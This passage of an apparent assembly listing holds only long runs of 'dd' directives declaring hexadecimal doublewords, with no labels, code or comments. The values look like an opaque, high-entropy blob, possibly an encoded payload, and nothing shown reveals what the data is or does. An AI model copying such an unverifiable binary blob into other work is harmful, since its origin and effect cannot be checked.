805E55B8h, 8BEA8AF7h dd 0D70EC161h, 342BE6B7h, 7EED3048h, 0BE052B04h, 5065B8BAh dd 2F17BFEh, 0C4D614A5h, 0B8885594h, 0F407DC6Fh, 931DCE0h dd 880D3351h, 0B80F168h, 0F8D4A4FBh, 0C03F4600h, 92B06C45h dd 0E836603Ah, 27B5BD2Bh, 9EC151B5h, 0AB0B2121h, 12BDD5AFh dd 0C1C25200h, 0B03AD5Eh, 0FE8BF7C6h, 3D4B38DDh, 1A5BBD29h dd 0B615352h, 5F415F77h, 5790002Eh, 0F2834A0Fh, 4EAE8006h dd 254FA3Ah, 0F505B94h, 0E3760B8Ch, 2B9FBFC0h, 7E5097F0h dd 11099078h, 756D8323h, 0EBE57CEDh, 0C3794EAh, 8BF5FDB1h dd 892FD69Eh, 0AC4253B9h, 0FE3AD627h, 4C68004Fh, 0B1E1BF91h dd 810D0139h, 3351D1D3h, 62B63A2Ah, 0EBFF8067h, 0BDDC445Ch dd 0E109227Bh, 0D1057F19h, 4C22BB30h, 0FB4E751Dh, 0A0096500h dd 9A9D24F3h, 0A06C5A92h, 964A881Ah, 0ADB3FAA8h, 0E8ABBD84h dd 977B014Ah, 9874E1FDh, 0A0492E43h, 0DC9A7C02h, 0A500D0FEh dd 0B575F652h, 3096EDDBh, 0B0C25190h, 649D5BB4h, 0ABAF82A4h dd 80563721h, 1D065F1h, 0E6B831EAh, 0B2E31341h, 0B590D899h dd 0F65A0CD3h, 8293C032h, 0D4ACAE9h, 0B51091CBh, 92013AAFh dd 96EF1A6Dh, 5125F062h, 0A5487369h, 4E23CDh, 0CBFE05F2h dd 69D69760h, 0C8D747C3h, 957DFCEh, 90612549h, 803C1059h dd 6A9CFC09h, 183223CDh, 9A50FEC0h, 904BD169h, 0A854D1A1h dd 19B8BFA9h, 0D0C028Ch, 0E2C7C5DBh, 9A7F157h, 4C55FCB7h dd 95F3B534h, 5B280909h, 48FCA7C0h, 3D76A67h, 98AF5186h dd 0B83152D8h, 0B6FEBF12h, 8F0229Eh, 2F61BD29h, 40A97849h dd 7031E603h, 0CDD2260h, 45857384h, 0E4610117h, 1E900171h dd 98924A15h, 75F829C2h, 51953995h, 2045558Ch, 9CB05F49h dd 630AB325h, 8D9DF995h, 0DFFEF1A7h, 8FD1D04Fh, 574E0592h dd 8BB905D6h, 0F1DF01D1h, 0AC7EE945h, 8161E23h, 0EAA43AA8h dd 97F94E88h, 0F6190611h, 8470F8Ah, 7D8011E9h, 3B1A0516h dd 5E6F003Fh, 70E8AF3h, 1309852Eh, 5A5BC9C0h, 561A81B3h dd 8532F17Eh, 33E95B55h, 65BB8F20h, 8D8B1869h, 895303FFh dd 32E59D1Ah, 44A9542Fh, 1F6A5418h, 0A554C65Ah, 64FE341Bh dd 0ABB37104h, 4982A1ADh, 4D5F0F30h, 318E396h, 37FF6A8Ah dd 59159F97h, 3AF1A238h, 6FD2D8BDh, 31DB023Ah, 431BCB80h dd 10B8A8Eh, 6B0ED5B9h, 51E16F8Ch, 5D2EEAFCh, 0A96DED5Fh dd 75300C9h, 0A1943A7h, 67DDF04Ch, 0C7E909E0h, 7D25A3D9h dd 0E11256B6h, 0B8D4F2B8h, 0E2C1F6AEh, 0A5825785h, 0D50907A1h dd 0B7DF702Bh, 17AC81C4h, 6E08B8E7h, 21E99404h, 5B52DB9h dd 0BF986C40h, 973CF6Eh, 0DCB5FCF0h, 4E305E5Ch, 4B0D4BE7h dd 0ECE7BD88h, 3C627FD8h, 0F0051122h, 0B878C933h, 0D6192530h dd 44ED5A9Dh, 0C187F940h, 79690229h, 0FC8A7120h, 88E80F5Ch dd 0C0DB04D6h, 0B88DE341h, 0EEB3AC0Ch, 20C29851h, 5B492481h dd 5EBC68h, 0DED69E83h, 0D893476Ah, 2D9EB058h, 69BC7185h dd 84FFE429h, 0A59549EAh, 5B5ADBFFh, 4C8028DAh, 77A7BBB3h dd 1967150Eh, 0EB3DE158h, 9A236941h, 795C232Dh, 7C306E25h dd 4A15F33h, 0B9E1FFAFh, 0CC3BB97Dh, 5B275298h, 69CFD6FCh dd 0BA422559h, 0D2297304h, 824973F9h, 551A2D7Ch, 0DE2DF567h dd 5ED42795h, 0FDA131DEh, 0C60BB1CEh, 150E563Ah, 0CE83038h dd 5752AD0Bh, 212A7D66h, 60FB0BF1h, 80623B76h, 3420D7C3h dd 0ABB7DF81h, 0C2711925h dd 41EF040Bh, 463D62AEh, 0DEDB2Ah, 964F6285h, 0E8C06C35h dd 0A8D0F1Bh, 0B3F45A23h, 0B29C1681h, 17CE5AA9h, 0EB300DC5h dd 54E61E20h, 0D64A07B0h, 0D04C91E2h, 0CA7BBF89h, 7EB85D04h dd 3DC4AD32h, 5B9649FEh, 0F9800371h, 4EBA6090h, 1C3A04DAh dd 8361FE8Bh, 0F4EFFBFEh, 359BAF6Ah, 78600FC6h, 21F09155h dd 244F2A4Eh, 2CE8D261h, 13D528D8h, 0A0A5CC82h, 0C02E6110h dd 22476835h, 0BB0479E9h, 3A7C83B5h, 0B80FE0A8h, 0A992F621h dd 0C2B8B0h, 1114BEFDh, 4DAC65Ch, 0B0DEC69Dh, 950EE214h dd 18A0AB14h, 894BEF25h, 19A8C8FDh, 0DAC70D8Ch, 247406CBh dd 0BE88057Bh, 8A445899h, 0DAEF7060h, 0E916618Bh, 98E40213h dd 610997DBh, 9C363DFDh, 828D4052h, 0EFBF5DFBh, 1250F04h dd 90F80D9Dh, 0FD76C54Ah, 0B08FEC7Ch, 0BFAF4981h, 4AB2B897h dd 0B6E981C5h, 85945CECh, 83FA52B2h, 0A498DB96h, 0A7F720ABh dd 5C794285h, 0C3412000h, 0D0CD99C0h, 8DA94B79h, 0CFDB2FB9h dd 21FE7F8Dh, 68996F10h, 623777EEh, 0FE49BC9Ch, 6F09D53Ch dd 4EA80803h, 8BD3D805h, 6BBA6741h, 1B232Bh, 1DEF3D06h dd 8E26B612h, 0E109F8E9h, 2E047926h, 0FA13DC87h, 33FF607Fh dd 0A2C4B416h, 4140004Ch, 44B5F63h, 722600A6h, 8839180Ch dd 8CE0AA69h, 9661500Bh, 0FD7588Bh, 77205D6Dh, 0E1ABE632h dd 352F8851h, 4DB1102Ah, 68D88B00h, 693754C7h, 543D749Eh dd 0A9BFF80Fh, 38362083h, 39692857h, 290960F9h, 1D24A5B5h dd 4298AB61h, 1B5926BFh, 0EFDE16A6h, 16252C7Bh, 40B1E49h dd 27A1FC06h, 0B5891375h, 0BA2DAB55h, 0D926221h, 80EE9B61h dd 69BF9FD6h, 59782DCBh, 95F64E56h, 0FE90A930h, 0D9BD010Bh dd 71705612h, 0C631B13Ah, 0E90114C9h, 357B6E4Ah, 0BE252E00h dd 1001368Ch, 93415359h, 2A113504h, 92EE06BCh, 5BD133A0h dd 0C6B273h, 204A22DFh, 0B65ED18h, 0AB825DC4h, 75009DC4h dd 1FF75A98h, 1F37CC7h, 95B52740h, 0F1EE836Eh, 0E282F5Fh dd 1BE487E3h, 0A954960h, 57396105h, 0B41282F2h, 0B314C6BDh dd 0ABB3FDFEh, 23B0635Eh, 0FCD952Dh, 0FE6019E4h, 6B04EF5Bh dd 0FD8A85A0h, 1CAC0BBDh, 48D9008Ch, 0C27CA811h, 23EEC73Bh dd 12EFBD4Ah, 6B49B17Bh, 70B018A7h, 8E49C0Fh, 0E6AF5C25h dd 8964C15h, 0B31CF26h, 0D88E63F7h, 0F0E3ABA1h, 0E5FEFE52h dd 91446D6h, 0DEBD2B48h, 6FBF8E6Eh, 0B80F13C4h, 0B246D3E4h dd 0BDED783Ch, 17D8EDD3h, 56B6006Ah, 0D7A8E2B7h, 0BF04E0A9h dd 790DEFD5h, 0EF9C74ABh, 4200CD6Ah, 0EF9FF873h, 6000CE6Fh dd 568FAAB8h, 2F68168h, 1183B7D4h, 5A770361h, 96539D6Bh dd 3B181959h, 0B04D1000h, 0E3801C6Dh, 6BFB9CC5h, 830BB754h dd 8903F4C2h, 0CB706AD8h, 8D258E90h, 0AD505B1Eh, 54B6050h dd 9031969Ch, 85D78AAAh, 66A2D9B1h, 0BDC57349h, 0C48AAA69h dd 0F1211864h, 0B3F63F4Dh, 84F59CB5h, 5BD61258h, 0D7C9C5FCh dd 0C449080h, 6800720Ah, 45F9856Ch, 0B089C71Bh, 48F695ACh dd 0A28BB40h, 0B8224ECAh, 8569E0D2h, 80C00094h, 0D2D67A15h dd 0EAEA7137h, 0D1B5E1E3h, 758F20BBh, 0C65F1B25h, 49B70956h dd 0FCB3820Fh, 5E71D9FFh, 0F94453C4h, 6020AB96h, 0DF6CDAh dd 353CA2E8h, 1F3E77CAh, 9A348400h, 0D7DB87A3h, 0CC504CC2h dd 0C8600D6h, 7E97A667h, 8B4886E4h, 5BDA0907h, 0DCA87496h dd 0A6AADF12h, 1995904h, 0A64B93CEh, 0BBF8A568h, 0A97D17D6h dd 6CBF87CAh, 95C47279h, 98D30D73h, 0BFF3447h, 0B690D5D4h dd 7125CF7Eh, 0A0054F6h, 25893E59h, 25AB729Fh, 7EC014E2h dd 899FBDDDh, 0BF10715Ah, 232BBB09h, 59441479h, 0A95AD150h dd 3C6BD638h, 33A95800h, 0D19EC490h, 0C2B9794Eh, 0AFC6F984h dd 3680FE9Eh, 0C7D40112h, 4E8F9B12h, 31C230F2h, 6AD64DB5h dd 0DBAC3096h, 5F8B6E4Fh, 0BCA480F8h, 814780D4h, 0DF63C1h dd 0D9512019h, 3F8D91A5h, 0BDF7D8BFh, 6EB5A6D8h, 2EB7B701h dd 0C7C1FD02h, 0F86F9BEh, 0E409221h, 3556540Ch, 23D82C00h dd 0CB94468Fh, 0BF4F4A68h, 0DFD2991Ch, 0DEC98ADh, 5E4B900h dd 68633CF0h, 0C8109FF7h, 36799AF9h, 605CAB61h, 81DCA0B9h dd 0EFEA980Ch, 0FE3FF53Ah, 0ADA5B7D7h, 0A2A04CD4h, 0FBFBA13h dd 465430AFh, 0DA011BF2h, 2554F1C7h, 82A31BCh, 5F122E56h dd 0F26B4AF1h, 0AB080014h, 0B0EF5A60h, 0D70C25DFh, 905BA2C0h dd 3FEEE852h, 4E6A001Eh, 88B867BEh, 9FAA0B3Eh, 93711DA1h dd 5B28F800h, 12FEAE1h, 43E0213Ah, 6B505F60h, 0B0514E08h dd 0CF03BFF8h, 9BFDBF5h, 2AC333CDh, 9ADC7F27h, 363597DAh dd 0AE801591h, 0C98D892Eh, 0D50C0995h, 1A913635h, 0C087C280h dd 0CD27F93Dh, 3ED64B0h, 1567D184h, 0E1907E57h, 0A52E4B4Eh dd 930FE13Bh, 0B0E6F2FFh, 84239E0h, 0B0998E6h, 7F225D9Dh dd 109F8F30h, 43DE2102h, 5ED7AF86h, 0A76E514Eh, 0C96DED2Bh dd 0A3807F72h, 6A8102F9h, 0DC62DED2h, 987A8F00h, 27B8DC59h dd 0CFBF257Dh, 0B3F419FFh, 7ABCB57Ah, 9428190Bh, 8B601C62h dd 41B589D3h, 0E9251472h, 0C2A059E0h, 8B05BFC4h, 2987A4ACh dd 2A4FDD8Dh, 94F64F81h, 0C85B9A6Bh, 1AFFCB19h, 2F87D3FFh dd 6C55DDE2h, 42F0BFh, 1BCF9F18h, 0C72675C1h, 1702F4FCh dd 9531BF50h, 868388C6h, 0C0A54D2Dh, 9A328D82h, 1CA8B112h dd 53FAAE01h, 652F5BF9h, 2382BB35h, 0E0595513h, 194B56Bh dd 0A1FEBB7Ch, 5C8C3BCEh, 87250301h, 3C1F263Dh, 2F406E81h dd 718D3660h, 0F095840Ch, 0ED92582h, 74006ADBh, 56B805DCh dd 142C09B1h, 3D7BC0DFh, 20012308h, 0BFD312EEh, 53CF464h dd 0A510C486h, 0E6041208h, 0E4051789h, 0D0891C71h, 69B7122Eh dd 88F63CF4h, 0B997FC8Ah, 8B60F53Bh, 0D953489h, 936B88Bh dd 781ECB80h, 9D310933h, 5390C75h, 0DA08ECF2h, 5337362Fh dd 0C82B0D78h, 8B06288Ch, 0E9B260D1h, 460296B0h, 85ECBD65h dd 8CEEFDD3h, 0B5258987h, 0ADE15971h, 9600A271h, 86F1C97Ah dd 0D34597BDh, 14C1D031h, 80C15F02h, 1A97E45Ah, 3C40FFB4h dd 0B5CFAFCEh, 616E33B6h, 22C11778h, 0BB040F59h, 0E9A50F1Fh dd 58510E6Ah, 0E9030139h, 501217FEh, 67F35BFCh, 562FE241h dd 0B929AA1Dh, 0E9C30040h, 66B397B3h, 103D3617h, 992707D4h dd 8BD848Fh, 0C438AABh, 0B00F3F1Eh, 0B00C5287h, 86FC8476h dd 372D9A93h, 70190C6Bh, 1D25DBB4h, 56A30BA8h, 184C92Ch dd 93B90228h, 0F4F2DE10h, 0B5014C04h, 0D9EA0EE9h, 0A659765Ah dd 0A8215EA8h, 32DE90A2h, 6DFCB37Dh, 9325E021h, 0B72ACDB6h dd 2B148483h, 70DC23C0h, 544BB297h, 27CD2503h, 6EE1A98Ah dd 7F3F0FD6h, 0BB611978h, 0C8BF6E8Fh, 13125EECh, 0B3F7880Dh dd 3A8271B1h, 49954484h, 0D38F9ABAh, 0F2E198BFh, 0C5D59307h dd 2199E311h, 5B063A7Fh, 7678B73Ah, 30A60343h, 0DE317927h dd 971FF466h, 0DB09612Fh, 47EB7192h, 0FE160E77h, 6F01916Fh dd 7BE89E3Dh, 255FC4FDh, 6389B0CDh, 2157A751h, 47218D2Bh dd 0F17399E9h, 0FC4F8EAEh, 4FA1E100h, 1D855DFh, 31FECB52h dd 0F6FF5B9Bh, 10E3755h, 8ABBAB45h, 2E3BC914h, 8B20F628h dd 3DF488B2h, 5C127FC2h, 7F2351D7h, 0E5B059A7h, 0F81690F7h dd 9301B292h, 0DF096B8h, 53DC5CE6h, 5B9F5CF6h, 0A8D789Ch dd 9A904900h, 0A885B517h, 0F2DE5E8Bh, 2DEF4E4Bh, 0A530C81Dh dd 0B7097200h, 3335D49Fh dd 0B111709Dh, 88C2645h, 9022769h, 5703398Dh, 42312F11h dd 64D52DEEh, 0F7A6809Ah, 922C4BF9h, 192A73FDh, 0E84D112h dd 0C8BA9AEAh, 1463C116h, 4BF25A4h, 0C5CFACF8h, 20898E0Fh dd 80D8206Bh, 892645F7h, 0FD27EB92h, 8FEF2C30h, 54909727h dd 0F98A82F5h, 0F0C15061h, 0C6CC1417h, 949000A3h, 234591ADh dd 420082AAh, 0BAF0A43h, 4FF0194Fh, 0F1F6F660h, 862B1B54h dd 1978AB6h, 12E38026h, 68D81683h, 25FADB8Ch, 123C535Dh dd 73B6A0F8h, 25C1D813h, 0C0B99EADh, 7B03C5F7h, 91AB57F8h dd 5A6B89BFh, 9D9D7030h, 6DB5E27Ah, 6019644Bh, 2C59A3D4h dd 166ABB45h, 4256AEBDh, 0AA4FACh, 77A139F3h, 13FC0DDFh dd 1E152CA0h, 920D048h, 53019FE9h, 0C8D0D189h, 8D72BC41h dd 0BB55948h, 5C2DE99Dh, 603EEA4Ch, 911F71C2h, 70556712h dd 0F35F0BF3h, 223D5884h, 0A5FE9501h, 24B0F865h, 0E953BD48h dd 8A671459h, 0E5D2C85Eh, 9DC02700h, 4ABC489Eh, 0BF6C09BAh dd 215C8924h, 0F1D624DEh, 9CCD52EFh, 0BD133367h, 0AAB8E4C1h dd 25ECE397h, 0C02AFC50h, 898CFEBBh, 6EFE344Bh, 0F9D51242h dd 14ACA0B9h, 93E0958Ch, 0AB0768DAh, 0BB0BB167h, 7F1237A1h dd 3E54CE24h, 874CAE64h, 0B5DCD52Fh, 0FE9356AFh, 9436F901h dd 0A5C996BBh, 22CF37Ah, 0E7EECBFh, 4CE6F52Ah, 44AC5C9Fh dd 4FD5FA11h, 0DCE1640Ah, 0CDB589BCh, 0C9F6140Dh, 90E18DB8h dd 0C9B65B61h, 698A71B1h, 6D54A0E2h, 218B2C51h, 2E5342E9h dd 0EF875DAh, 9C501300h, 0B74A4E7Eh, 5C1D97CCh, 0FDCE0272h dd 0BD430E14h, 0BAB41255h, 0C500736Fh, 0E1BFCF83h, 0D095F9A6h dd 0FC7B95BBh, 2A49BD04h, 0CDF6A2AAh, 0ED6A6EAFh, 1B6B8D0h dd 9EC76190h, 4BF543F2h, 537F30F9h, 1230F381h, 0FF10F1EEh dd 31810D64h, 0B93205A5h, 112B752Fh, 0A798B57Fh, 0F20BE6ECh dd 5505EA97h, 89263487h, 492A4D55h, 2DF683Ah, 0D502B9DFh dd 1A275EBBh, 0E04AFEFEh, 0FC99A103h, 0BC048C71h, 803AAC2Eh dd 17A2F948h, 8011903Fh, 0BD577A7Ch, 2B3AFA08h, 7A8096CEh dd 9F00C457h, 9D6128FCh, 6C0707CDh, 969532CCh, 12652588h dd 9D059455h, 13D40DD4h, 0FE0A9FADh, 83D67A16h, 14E52588h dd 0E2B017EEh, 6F46EB12h, 0A35B7CE3h, 4DCC4A29h, 0C92109BBh dd 9C56B47h, 5521150h, 0FA5178Ah, 0ADD01C7Bh, 310ACF52h dd 5D18359Dh, 0D02ED0Ch, 9B205F50h, 433380B6h, 0F5DE505h dd 0EFBD7C79h, 0C0A4B872h, 40E6AEBBh, 0EF5F4A58h, 0DBD7030h dd 0DF45B519h, 5097D3A7h, 554AAA2Ch, 0F64F4DA8h, 0F1814FDDh dd 5AABBA5Bh, 53560310h, 2970830Fh, 6CBF5B71h, 759D2AABh dd 9A6397F4h, 0E4F687EAh, 52ECDA0Fh, 4BE094F6h, 9E3B7E6Ch dd 15448BEBh, 4AEE5016h, 0A569A831h, 7416E04h, 28FF8AAAh dd 94955C86h, 0B45A7079h, 0BA09F413h, 576096h, 50515A1Ch dd 0C35E5A5Bh, 0A6F4FA28h, 6EAFE053h, 128290B5h, 6081C545h dd 0D8501E7h, 4F7F1956h, 0B19230E8h, 2DDB7E56h, 0DE80ABC9h dd 29830D13h, 1F29F39Dh, 3D2795BDh, 95D5F889h, 41F340B5h dd 0AA244ACCh, 0B509FD63h, 71695C1Fh, 0F95A0D37h, 0EA5EF4C0h dd 0DB259416h, 88697362h, 0D06918E9h, 61DDF93Ah, 56332C2Eh dd 0A4EABF09h, 38700EBh, 802F299Dh, 0C2952CE9h, 8E87374Ch dd 0B601B4F1h, 2BF5A2ACh, 7EF6990h, 79A08CE4h, 60A320F5h dd 900003BAh, 25CA76BFh, 65501D67h, 0EB46B727h, 0C69BFCEBh dd 3FE764C0h, 8F384A7Bh, 93CF9387h, 2AA1F004h, 6112BE57h dd 449C70AFh, 0EC0B72C6h, 0D065EE01h, 0DC709698h, 0E7F68400h dd 6A5A2D11h, 97C0B0FBh, 49D07CD3h, 0F19D01C5h, 0A40B5632h dd 829242E4h, 80C2D35Fh, 74571BB5h, 4A044F66h, 890C142Bh dd 62A627BFh, 0FA7DB1B5h, 0CEFD205Ch, 0E6789F9Bh, 5DDA0EE9h dd 13E980C8h, 0B79F6070h, 0AC791F3Ch, 0DE2B00AFh, 0B3906AAAh dd 6017FB7Dh, 614FF18Ah, 36B37761h, 1C386A6Ah, 0E7685DE7h dd 3080B637h, 2F725B03h, 277602D2h, 175BD33h, 0DD5A5D5Ch dd 562D53B5h, 4C5002AAh, 90D70719h, 6E9427h, 0F40AC68Ch dd 0F133383Ah, 58394806h, 0B7EAA4B7h, 0FE95BB50h, 1849D4BDh dd 6D7A8047h, 254EA00Eh, 2CC5D1FFh, 16B3C438h, 0DB026AF6h dd 70C28744h, 0AD47D4D1h, 0ACFABC97h, 9D012255h, 7EEC5201h dd 736FFC50h, 371C322Dh, 0AC368961h, 0F3D2582h, 91FBB75Dh dd 4D788419h, 0E931A0AEh, 0C510B425h, 0CF078843h, 1EE7F125h dd 909EB0h, 8C82846Dh, 0F004735Ah, 2DB5013Ah, 0D45B7AD2h dd 6F07DCD2h, 0F4414B4Ah, 0E0AE3B32h, 25231D7Bh, 86732D59h dd 0EE181D59h, 5FC52300h, 7159A77Dh, 0FA916C4h, 0D35ACC80h dd 1C03AB26h, 502D2525h, 34BEB2C5h, 3A5FA42h, 2DB8A86Dh dd 0CB6C4E60h, 4A0F3972h, 88CD888Dh, 898B5B84h, 0EB98829Bh dd 573A0927h, 1811B637h, 647D8A80h, 309796CFh, 125EBB9Bh dd 0E3090E18h, 9D230E70h, 6759B01Dh, 5D6FAA4Bh, 136F6A07h dd 8271B712h, 44557698h, 604E002Fh, 612EEBE7h, 815CC675h dd 23551767h, 0ADE8D4E9h, 0A5028475h, 53946ECCh, 0F1BD8260h dd 0BF2AC0D8h, 0B56151D6h, 0CA6A0CCDh, 12C10A3h, 40896E50h dd 997B033h, 0D948F506h, 704EE661h, 281BDC8h, 64116C94h dd 0AF6071E4h, 0E6950CA1h, 0A72FE103h, 78CF169Ah, 2B56DDBBh dd 0BF66D500h, 4ABA02AAh, 0C0CCBD06h, 2F7CC35Dh, 1030013Ch dd 56C01A68h, 2F4E71C9h, 0F072A3C8h, 62660771h, 59DC3FF2h dd 2DE4945Fh, 3C58ACA4h, 4B145495h, 12A4C954h, 32BD2212h dd 0D17A0951h, 50D18B2Bh, 0BD25B735h, 0FE07DE00h, 6A7AF155h dd 1B7B09Bh, 219A183h, 2B88CD41h, 0DEB941C9h, 2DFA702Eh dd 0F5583F29h, 0F0CE7388h, 0DC1C0F00h, 0EBE3B72Dh, 0AA78075Ah dd 925BD0Bh, 0E6484A5Eh, 55246D0Bh, 4E0C159Ah, 0DAA8FD1Ch dd 0D7A43EE9h, 0CF04DF00h, 0EF802ED1h, 0D41A9746h, 0AF2587F0h dd 45D3C4C6h, 4BA22C21h, 0D4AC3FC4h, 92EEDA1h, 0AEC6C05h dd 0B1D1D84Ah, 0B2024F41h, 17B5D695h, 0F068A66Ah, 9DF5C6DCh dd 14590E73h, 0E3F83F18h, 0BE23AE2h, 4A52BB01h, 0ABB942FDh dd 0BA56C474h, 525F5C53h, 50090822h, 43D18D09h, 0D0B8F43Dh dd 4ABC5349h, 0A2491C09h, 0E17CD853h, 0C054DE2Bh, 0DEE9823Bh dd 0BC14049Bh, 0E83D4616h, 28BF9665h, 0A2124757h, 0C8AA40B1h dd 0D95FBD2Ah, 0BA5C265Dh, 0E0525E27h, 203155BEh, 7FC03900h dd 9A592E33h, 5C4A0496h, 0EAF70FD1h, 71E479A7h, 20D9D0F8h dd 85B0137h, 0DC57CE9h, 93139F88h, 57F849FBh, 0FF258AD6h dd 890243BAh, 16D718C5h, 24B5B508h, 426D6605h, 5D032FAEh dd 0A23A8E0h, 0CBA9C0B3h, 2750B93h, 0E0CFCD55h, 8BB45980h dd 0CCAFB4Bh, 0F8FE9422h, 0FB271F91h, 0A16F785Dh, 61B3CD12h dd 0DA2A74AEh, 40E8CEBEh, 2B18BE99h, 0DAE025C2h, 0E5E2487Eh dd 0D50C0C32h, 0D6A2085Eh, 525D249Ah, 21B79785h, 4AD6DD0Ch dd 0CE2BFBA1h, 5621C1Fh, 14377525h, 1C479D00h, 9702D994h dd 4F383F94h, 0BA95A05h, 0DA264DBCh, 0C5257DB9h, 4EB8838h dd 0F4DB8002h, 0DCACD660h, 0CD13200Ch, 97F96632h, 0DC8A0B82h dd 7E2B075Eh, 17FA978h, 60A4F9A2h, 0C2958D2Bh, 807B5957h dd 2C8C9C9Eh, 0E700CB61h, 44535A6Ch, 0B0F11601h, 58CF275Ch dd 5D091CFEh, 64445E03h, 15233F7Ah, 56791109h, 1646D620h dd 4B019302h, 5B5EDE8Bh dd 0D5E85065h, 826DA680h, 46038A1Bh, 697FE39h, 0F64EF845h dd 0D670279h, 118D3114h, 0C45F6269h, 0B60956BFh, 0E4906F9Eh dd 4F6C959Ch, 4B8504Eh, 0D6C9B9A0h, 0F63E9081h, 0E83FE1ABh dd 0F2963840h, 0B75E01CBh, 0D9BF5BDAh, 5DF8BB0Bh, 0BCDBEC14h dd 0AC72771h, 0FC968110h, 7760C026h, 3CDE5354h, 0C9120E68h dd 4E80B294h, 7AFD21FEh, 0EAA02A9Ah, 5B9C90F1h, 80F2DB6Bh dd 8761D005h, 260D0439h, 20E8F7AFh, 3699AFAh, 11B98074h dd 0CE0A370Fh, 0C160B8CAh, 0B16D30Bh, 27A3DA56h, 97545B61h dd 7B0911E7h, 257EA490h, 94E99368h, 2AD2024Bh, 70896471h dd 35578A8Eh, 97F5A378h, 6029CD1Ah, 0B5B6975h, 1F09698h dd 3C34164Ah, 2F228547h, 0EE7E7713h, 4BFCFD5Fh, 0DEFE8B85h dd 0A797C1C9h, 0C56F3893h, 0E084AA5Ch, 4E56A7EAh, 5807E46Ah dd 0FBE770h, 9C91C781h, 66215C34h, 0A78081DEh, 1AB31D96h dd 9D5193Ch, 0DC8D09B4h, 0BB6682BEh, 0B8D78E2Ah, 86041948h dd 88905997h, 208305E8h, 90D68CDEh, 4D61BD33h, 0AD5E221Bh dd 0F07B7263h, 8230A4BFh, 3B18ABBh, 0C2318729h, 0C4ECA09Eh dd 0DE2639BAh, 0BFA1C4CBh, 59A00FA7h, 0FA00DB8Ch, 0FDB8600Bh dd 0E610A90h, 6BF8D381h, 41FF4A8Eh, 18E8D9B9h, 3AE57101h dd 5DD9CB97h, 53180494h, 5B150FE9h, 48751EABh, 0AAA340DDh dd 0A0637402h, 71404D14h, 24F15A80h, 800F9989h, 9942CB4Ah dd 5E953F66h, 476C87C1h, 905E8775h, 5BA3EC54h, 0E935CCBFh dd 915F52C0h, 9642D71h, 34A9B31Ch, 0D0A4F780h, 4507CB6h dd 58EA802Fh, 8AD2C8CEh, 5548FE6Bh, 0BF8DDF84h, 0DD65635Dh dd 9F000C3Fh, 7DFFD3E4h, 2480F007h, 72BE202h, 4050AAF4h dd 5609D567h, 0F2C1FB4h, 0DCD309DEh, 1D188EBAh, 24044A0Eh dd 0A6D57A0Ah, 0A93571C7h, 578DD692h, 0CAB4C894h, 5FE63640h dd 0BB7500D4h, 64BC2251h, 0B816592Ch, 88EA843Ah, 1A1CAC0Bh dd 0E28B07FCh, 0BF80FD6Fh, 0B469DADDh, 891CFC9Dh, 744D615Bh dd 0F122C4C0h, 9560EA80h, 21A4EFE7h, 61BE05D6h, 0AF0D69A5h dd 6F020B39h, 0BE04F551h, 0D75B0928h, 0A6F32098h, 137B4111h dd 0C215C8AFh, 84F31A12h, 74C39C73h, 811499B4h, 27F60760h dd 7245042Fh, 3D05253Dh, 29A50914h, 3B6DA601h, 8BB13F09h dd 27D9CE2Bh, 0D8D753D0h, 0F89D7871h, 16592031h, 0C4DE4DB5h dd 0B0B9611Bh, 160E61C8h, 0E67DECh, 48313969h, 0F9136075h dd 0B5A63EB5h, 0D28865Fh, 59F65B95h, 0D4181Dh, 0F917793h dd 294055B7h, 0BD893A09h, 41A25E2Dh, 2A6239EFh, 0E65A03F7h dd 0F1D5A391h, 55B853CFh, 0C5B8E98h, 9F4F80E7h, 13D9E1E5h dd 1CA72Fh, 12E86F39h, 0E3ADC53h, 215D1D50h, 12D33D2Eh dd 0B45D30DDh, 0ED0E4122h, 99F03D4h, 0C96E56ABh, 4C554EEAh dd 45B5BD4Dh, 5E98A900h, 12623A26h, 0EF0BB47Eh, 0A6BFCA20h dd 0B72AE0E4h, 14641E6Dh, 71559262h, 0E15960A3h, 0B900CDF8h dd 0A768F324h, 5B042BDAh, 5528F331h, 5AF72A10h, 0FD1117B0h dd 3F4A8B01h, 0FC2118A4h, 0B282F63Ah, 0AB963015h, 0CE85313Fh dd 660F18CAh, 0B6D371BFh, 301DB217h, 9C00172Bh, 421558B7h dd 5ED3DCCh, 16E50BBh, 30F27Fh, 0F88F75F0h, 27FE13FBh dd 29605DC9h, 22244CBBh, 5009150Ah, 0C0834D20h, 0E1A13BD4h dd 23FDBB0Eh, 9B35331h, 11DD2B25h, 6731957Ch, 6B9EC92Bh dd 0EAC9069Eh, 8A61E35Ch, 0AA266AF9h, 2BD91F00h, 0C60ADFDh dd 0F1176601h, 0ECF46404h, 49485C26h, 0C6C2B305h, 156BFF54h dd 16011823h, 0D833D1B8h, 9098276Fh, 983E8620h, 455FDD00h dd 37136261h, 7B5201A8h, 8646E1DFh, 41B22074h, 965F96A8h dd 0D449859Ch, 0BF2120Eh, 9DD412C4h, 3BB85092h, 7D8FA080h dd 0ED006E17h, 47E12E6Bh, 69FB8B53h, 0AFFB4C5Fh, 9545A571h dd 0A1830EDFh, 46B0A7CBh, 0F895651Ch, 0D1569786h, 0C19B4D6Bh dd 0F82FE09Dh, 27121FE3h, 8105E3Ah, 83D55C60h, 0F8839E26h dd 7D33683Fh, 0C97302A1h, 50C58AB8h, 2E51C076h, 60C0EA17h dd 0C4D1E365h, 69738919h, 0A66A34F2h, 54DCF1EFh, 0FC33F92Eh dd 0DB3E099Bh, 0AB04E81Ch, 6ADEF1C5h, 95A86BF2h, 10C15658h dd 5F2E1FE5h, 1D2F0A3Eh, 1A46D45Ah, 376B7400h, 4ABBB890h dd 17146FB7h, 0B032E75Ah, 3B8E9DF0h, 5E80E546h, 60BF766Eh dd 6113B032h, 0B4B6F98Bh, 0E0BD9D13h, 5B9DC623h, 6D60D00Fh dd 0DA8BCC13h, 55DC3CAFh, 38D80344h, 0A4D6FFF0h, 5DD816F0h dd 0BB9ECE09h, 68103A0h, 8B39C85Eh, 0BCED95C1h, 553592C2h dd 9D10B8CCh, 65481FF5h, 0BB81C1C0h, 0CE00D18Dh, 0E0E78FAAh dd 4342789h, 90887A1Fh, 0E3118483h, 0D54A62EDh, 0C8E55502h dd 2B791A31h, 0B2EAE62Ah, 7C5301Bh, 920EAF01h, 6A05B278h dd 0BC42F93Ah, 3A10E889h, 8589B71Eh, 0A7101F49h, 3D279D09h dd 8F9A2218h, 1F5BD7E1h, 1CC6978h, 99B79F2h, 3B3892CEh dd 746EAC17h, 0A99BD900h, 0A4AD790Ch, 72D4D612h, 162063BCh dd 9E963FB8h, 25AD949h, 29392BA5h, 